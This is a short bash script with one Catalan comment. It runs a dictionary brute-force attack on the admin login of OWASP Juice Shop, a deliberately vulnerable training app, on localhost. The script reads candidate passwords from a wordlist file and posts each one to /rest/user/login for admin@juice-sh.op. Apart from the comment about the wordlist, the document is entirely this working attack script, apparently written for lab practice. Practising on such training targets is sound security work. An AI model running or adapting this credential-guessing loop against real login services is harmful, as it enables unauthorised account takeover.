#!/bin/bash while read contrasenya; do echo $contrasenya echo "" curl -i -s -k -X POST -H 'host: localhost:3000' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0' -H 'Accept: application/json, text/plain, */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Referer: https://localhost:3000/' -H 'Content-Type: application/json' -H 'Origin: https://localhost:3000' -H 'Connection: keep-alive' -H 'Cookie: language=en; welcomebanner_status=dismiss' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' --data-binary $'{\"email\":\"admin@juice-sh.op\",\"password\":\"'$contrasenya'"}' http://localhost:3000/rest/user/login echo "" done < prova
On prova és el nom del fitxer amb una contrasenya per línia (diccionari)